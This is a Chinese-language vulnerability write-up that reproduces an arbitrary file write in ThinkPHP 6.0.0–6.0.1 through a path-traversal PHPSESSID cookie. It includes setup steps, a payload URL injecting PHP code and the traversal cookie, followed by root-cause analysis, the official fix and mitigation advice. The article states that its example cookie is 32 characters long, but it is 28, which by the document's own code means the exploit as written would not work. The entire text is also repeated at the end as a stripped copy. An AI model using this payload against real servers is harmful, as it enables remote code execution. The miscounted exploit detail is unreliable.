Thinkphp6.0任意文件写入漏洞复现
字数 1190 2025-08-19 12:41:18

ThinkPHP 6.0 任意文件写入漏洞分析与复现

漏洞概述

ThinkPHP 6.0.0 至 6.0.1 版本中存在一个任意文件写入漏洞,攻击者可以通过精心构造的会话ID(PHPSESSID)控制服务器上的文件写入位置和内容,可能导致远程代码执行等严重后果。

影响版本

  • ThinkPHP 6.0.0
  • ThinkPHP 6.0.1

环境搭建

1. 安装ThinkPHP 6框架

# 安装Composer
curl -sS getcomposer.org/installer | php
mv composer.phar /usr/local/bin/composer

# 设置国内镜像
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

# 安装ThinkPHP 6
composer create-project topthink/think think6

2. 降级到漏洞版本

编辑项目根目录下的composer.json文件,指定ThinkPHP版本为6.0.1或6.0.0,然后执行:

composer update

3. 启用Session功能

默认情况下ThinkPHP 6不开启Session,需要修改app/middleware.php文件:

<?php
// 全局中间件定义文件
return [
    // Session初始化
    \think\middleware\SessionInit::class
];

4. 启动开发服务器

php think run

漏洞利用

漏洞利用条件

  • 网站使用了Session功能
  • 存在可以设置Session变量的接口

漏洞利用步骤

  1. 修改app/controller/Index.php添加Session设置功能:
<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController {
    public function index() {
        $a = isset($_GET['a']) && !empty($_GET['a']) ? $_GET['a'] : '';
        $b = isset($_GET['b']) && !empty($_GET['b']) ? $_GET['b'] : '';
        session($a, $b);
        return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V6<br/><span style="font-size:30px">13载初心不改 - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
    }
}
  1. 构造Payload访问URL:
http://target.com/index.php?a=key&b=<?php phpinfo();?>
  1. 设置Cookie头:
Cookie: PHPSESSID=../../public/aaaaaaaaaaa.php
  1. 访问写入的文件:
http://target.com/aaaaaaaaaaa.php

漏洞分析

漏洞根源

漏洞位于vendor/topthink/framework/src/think/session/Store.php文件中,主要问题在于:

  1. Session ID验证不足:系统未对PHPSESSID进行严格验证,允许包含特殊字符如../等路径遍历字符

  2. 文件命名可控:当PHPSESSID长度为32时,系统不会对其进行MD5处理,直接使用原始值作为文件名

关键代码分析

  1. Session ID处理流程
// vendor/topthink/framework/src/think/session/Store.php
public function setId($id)
{
    if (strlen($id) != 32) {
        $id = md5($id);
    }
    $this->id = $id;
}
  1. 文件写入位置
// vendor/topthink/framework/src/think/session/driver/File.php
protected function getFileName(string $sessID): string
{
    return $this->config['path'] . 'sess_' . $sessID;
}
  1. Session数据写入
// vendor/topthink/framework/src/think/session/driver/File.php
public function write(string $sessID, string $sessData): bool
{
    $filename = $this->getFileName($sessID);
    return file_put_contents($filename, $sessData) !== false;
}

攻击原理

  1. 攻击者通过Cookie设置PHPSESSID为../../public/aaaaaaaaaaa.php(长度为32)
  2. 系统不进行MD5处理,直接使用该值作为文件名
  3. 通过设置Session变量,将恶意代码写入Session文件
  4. 最终在public目录下创建了一个PHP文件,内容为攻击者控制的Session数据

官方修复

官方在后续版本中增加了对Session ID的严格验证:

// 修复后的代码
public function setId($id)
{
    if (!ctype_alnum($id) || strlen($id) != 32) {
        $id = md5($id);
    }
    $this->id = $id;
}

增加了ctype_alnum()函数检查,确保Session ID只包含字母和数字。

防护建议

  1. 及时升级到ThinkPHP最新版本
  2. 如果无法立即升级,可以手动修改Store.php文件,添加Session ID验证
  3. 限制Session文件的存储目录权限
  4. 对用户输入的Session变量进行过滤

总结

该漏洞利用ThinkPHP 6.0.0-6.0.1版本中Session ID验证不足的问题,通过精心构造的PHPSESSID实现任意文件写入。攻击者可以借此在服务器上创建恶意PHP文件,进而实现远程代码执行。开发人员应及时升级框架版本或应用补丁,避免安全风险。

ThinkPHP 6.0 任意文件写入漏洞分析与复现 漏洞概述 ThinkPHP 6.0.0 至 6.0.1 版本中存在一个任意文件写入漏洞,攻击者可以通过精心构造的会话ID(PHPSESSID)控制服务器上的文件写入位置和内容,可能导致远程代码执行等严重后果。 影响版本 ThinkPHP 6.0.0 ThinkPHP 6.0.1 环境搭建 1. 安装ThinkPHP 6框架 2. 降级到漏洞版本 编辑项目根目录下的 composer.json 文件,指定ThinkPHP版本为6.0.1或6.0.0,然后执行: 3. 启用Session功能 默认情况下ThinkPHP 6不开启Session,需要修改 app/middleware.php 文件: 4. 启动开发服务器 漏洞利用 漏洞利用条件 网站使用了Session功能 存在可以设置Session变量的接口 漏洞利用步骤 修改 app/controller/Index.php 添加Session设置功能: 构造Payload访问URL: 设置Cookie头: 访问写入的文件: 漏洞分析 漏洞根源 漏洞位于 vendor/topthink/framework/src/think/session/Store.php 文件中,主要问题在于: Session ID验证不足 :系统未对PHPSESSID进行严格验证,允许包含特殊字符如 ../ 等路径遍历字符 文件命名可控 :当PHPSESSID长度为32时,系统不会对其进行MD5处理,直接使用原始值作为文件名 关键代码分析 Session ID处理流程 : 文件写入位置 : Session数据写入 : 攻击原理 攻击者通过Cookie设置PHPSESSID为 ../../public/aaaaaaaaaaa.php (长度为32) 系统不进行MD5处理,直接使用该值作为文件名 通过设置Session变量,将恶意代码写入Session文件 最终在public目录下创建了一个PHP文件,内容为攻击者控制的Session数据 官方修复 官方在后续版本中增加了对Session ID的严格验证: 增加了 ctype_alnum() 函数检查,确保Session ID只包含字母和数字。 防护建议 及时升级到ThinkPHP最新版本 如果无法立即升级,可以手动修改 Store.php 文件,添加Session ID验证 限制Session文件的存储目录权限 对用户输入的Session变量进行过滤 总结 该漏洞利用ThinkPHP 6.0.0-6.0.1版本中Session ID验证不足的问题,通过精心构造的PHPSESSID实现任意文件写入。攻击者可以借此在服务器上创建恶意PHP文件,进而实现远程代码执行。开发人员应及时升级框架版本或应用补丁,避免安全风险。